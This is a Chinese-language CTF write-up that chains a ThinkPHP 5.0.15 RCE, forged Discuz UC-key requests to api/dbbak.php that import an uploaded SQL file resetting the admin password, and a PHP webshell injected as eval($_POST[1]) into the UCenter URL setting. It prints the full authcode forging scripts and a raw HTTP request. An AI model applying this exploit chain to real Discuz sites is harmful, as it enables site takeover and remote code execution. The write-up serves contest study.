前言
线下由于心急+上午扫了一上午目录,心态有点不太行,所以这题根本没看。复盘发现其实没那么难,这题目也是红明谷线下分值最高 质量最佳的一题
解题思路
1.ThinkPHP v5.0.15 rce
入手点是一个ThinkPHP v5.0.15
然后直接可以通过常见的命令执行Rce
拿到数据库中的另一个用户。登录后是一个Discuz
的数据库(C段中另一个站、典型的站库分离)
2.Discuz UcKey
数据没有有关后台的东西,但是有一个有意义的东西 authKey
网上有很多关于用他rce的 具体可以看
https://paper.seebug.org/1144/#getwebshell
他是通过注入获取到uc key 伪造cookie。请求修改密码接口,从而进入后台
实际上,比赛中这个洞被修了Orz
还有另一种方法利用
3.文件上传 + 管理员密码修改
首先构造一个zip 内容为
UPDATE <code>disucz
.pre_ucenter_members
SETpassword
= md5(concat(md5('password'),'123456')),salt
= '123456' WHEREuid
= 1;
然后上传附件
在api/dbbak.php利用authkey,export出数据库,具体参数
&method=export&tableid=0&sqlpath=backup_2020xx&backupfilename=4_b
tableid为0时,导出表结构,并返回数据库备份路径
<?php
function _authcode($string, $operation = 'DECODE', $key = '', $expiry = 0) {
$ckey_length = 4;
$key = md5($key ? $key : UC_KEY);
$keya = md5(substr($key, 0, 16));
$keyb = md5(substr($key, 16, 16));
$keyc = $ckey_length ? ($operation == 'DECODE' ? substr($string, 0, $ckey_length): substr(md5(microtime()), -$ckey_length)) : '';
$cryptkey = $keya.md5($keya.$keyc);
$key_length = strlen($cryptkey);
$string = $operation == 'DECODE' ? base64_decode(substr($string, $ckey_length)) : sprintf('%010d', $expiry ? $expiry + time() : 0).substr(md5($string.$keyb), 0, 16).$string;
$string_length = strlen($string);
$result = '';
$box = range(0, 255);
$rndkey = array();
for($i = 0; $i <= 255; $i++) {
$rndkey[$i] = ord($cryptkey[$i % $key_length]);
}
for($j = $i = 0; $i < 256; $i++) {
$j = ($j + $box[$i] + $rndkey[$i]) % 256;
$tmp = $box[$i];
$box[$i] = $box[$j];
$box[$j] = $tmp;
}
for($a = $j = $i = 0; $i < $string_length; $i++) {
$a = ($a + 1) % 256;
$j = ($j + $box[$a]) % 256;
$tmp = $box[$a];
$box[$a] = $box[$j];
$box[$j] = $tmp;
$result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));
}
if($operation == 'DECODE') {
if((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26).$keyb), 0, 16)) {
return substr($result, 26);
} else {
return '';
}
} else {
return $keyc.str_replace('=', '', base64_encode($result));
}
}
$uc_key = "Zfd2vcf2Ydycedc7ecp6p3Ka17ecI8sfR1Zc41e7tdGbZc4907B6sdhc5dAdTa09";
$time = time() + 7200;
#$encode = "time=".$time."&method=import&dumpfile=/attachment/forum/202104/21/224359rllxelg658gx2xxs.zip";
$encode = "time=".$time."&method=export&tableid=0&sqlpath=backup_2020xx&backupfilename=4_b";
echo('?apptype=discuzx&code='.urlencode(_authcode($encode,'ENCODE',$uc_key)));
请求
得到数据库备份路径,访问
可以得知前台上传的文件均存在此表
构造相应的table id 访问导出数据库。下载得到文件名
即data/attachment/forum/202104/21/224359rllxelg658gx2xxs.zip
带着构造好的cookie访问
api/db/dbbak.php?apptype=discuzx&code=
为什么这里包含了个zip就重置密码了呢,我们看一下dbbak.php
可以看到这里当为import下 会读取dumpfile路径然后执行sql。这里dumpfile是我们可控的参数
执行sql后
密码已经被重置为password了
4.后台Rce
可以参照
https://paper.seebug.org/1144/#getwebshell
中的做法
首先更改uccenter
为<a href="http://127.0.0.1:88/uc_server');eval($_POST[1">http://127.0.0.1:88/uc_server');eval($_POST[1</a>]);//
Uccenter
key 已知
保存后发现单引号转义
使用
<?php
$uc_key="123123";//此处填写刚才UCenter设置的值
$time = time() + 720000;
$str = "time=".$time."&action=updateapps";
$code = authcode($str,"ENCODE",$uc_key);
$code = str_replace('+','%2b',$code);
$code = str_replace('/','%2f',$code);
echo $code;
function authcode($string, $operation = 'DECODE', $key = '', $expiry = 0) {
$ckey_length = 4;
$key = md5($key != '' ? $key : '123456');
$keya = md5(substr($key, 0, 16));
$keyb = md5(substr($key, 16, 16));
$keyc = $ckey_length ? ($operation == 'DECODE' ? substr($string, 0, $ckey_length): substr(md5(microtime()), -$ckey_length)) : '';
$cryptkey = $keya.md5($keya.$keyc);
$key_length = strlen($cryptkey);
$string = $operation == 'DECODE' ? base64_decode(substr($string, $ckey_length)) : sprintf('%010d', $expiry ? $expiry + time() : 0).substr(md5($string.$keyb), 0, 16).$string;
$string_length = strlen($string);
$result = '';
$box = range(0, 255);
$rndkey = array();
for($i = 0; $i <= 255; $i++) {
$rndkey[$i] = ord($cryptkey[$i % $key_length]);
}
for($j = $i = 0; $i < 256; $i++) {
$j = ($j + $box[$i] + $rndkey[$i]) % 256;
$tmp = $box[$i];
$box[$i] = $box[$j];
$box[$j] = $tmp;
}
for($a = $j = $i = 0; $i < $string_length; $i++) {
$a = ($a + 1) % 256;
$j = ($j + $box[$a]) % 256;
$tmp = $box[$a];
$box[$a] = $box[$j];
$box[$j] = $tmp;
$result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));
}
if($operation == 'DECODE') {
if((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26).$keyb), 0, 16)) {
return substr($result, 26);
} else {
return '';
}
} else {
return $keyc.str_replace('=', '', base64_encode($result));
}
}
?>
访问如下格式并返回1 说明代码执行成功了
POST /api/uc.php?code=01bcoUPZzc5h7F35tel8ZXmOOA5BSsB7Zd%2bhmGabyQZ78u3y%2f4uP%2f%2fjLkdWb2NQyS4Pi0YhIFGuw1vw2syc HTTP/1.1
Host: 127.0.0.1:88
Content-Length: 110
Cache-Control: max-age=0
sec-ch-ua: " Not A;Brand";v="99", "Chromium";v="90", "Google Chrome";v="90"
sec-ch-ua-mobile: ?0
Upgrade-Insecure-Requests: 1
Origin: http://127.0.0.1:88
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: http://127.0.0.1:88/api/uc.php?code=01bcoUPZzc5h7F35tel8ZXmOOA5BSsB7Zd%2bhmGabyQZ78u3y%2f4uP%2f%2fjLkdWb2NQyS4Pi0YhIFGuw1vw2syc
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,mg;q=0.7
Cookie: Hm_lvt_7b43330a4da4a6f4353e553988ee8a62=1612847749; azZp_2132_saltkey=jUzAyw8H; azZp_2132_lastvisit=1619011601; azZp_2132_sid=wxBx0K; azZp_2132_lastact=1619015344%09index.php%09; xyoo_2132_sid=n5PjHL; xyoo_2132_saltkey=Un5WEMwo; xyoo_2132_lastvisit=1619013943; xyoo_2132_ulastactivity=88f7LROp7Y%2BfVbNe8ts80diuUz01DjQ8o56kYBqrMK3XWaK6xfRk; xyoo_2132_auth=7290uELwn0OAs5tM29zo7FUfltbQbCsGR0HsJPGhZbDO8DI1W7LdlM56XTNeKvuRpEg7wzzXDTe%2BMWJMHt4o; xyoo_2132_nofavfid=1; xyoo_2132_st_t=1%7C1619017687%7Cb6c4ac0ab8924391486d2e1e1efa9c21; xyoo_2132_forum_lastvisit=D_2_1619017687; xyoo_2132_visitedfid=2; xyoo_2132_smile=1D1; xyoo_2132_st_p=1%7C1619017688%7Ca7010cb8f34d8b016ef45c24cb5df709; xyoo_2132_viewid=tid_1; xyoo_2132_seccodecSn5PjHL=9.bafed19aa79b7df667; xyoo_2132_lastact=1619018365%09uc.php%09
Connection: close
<?xml version="1.0" encoding="ISO-8859-1"?><root><item id="UC_API">http://127.0.0.1:88/uc_server</item></root>
之后访问
http://127.0.0.1:88/config/config_ucenter.php
成功rce
后记
本题目当时做的时候,之前完全没打过Discuz 导致拿到数据库的一瞬间没看到密码,很是茫然。。。 也是学到很多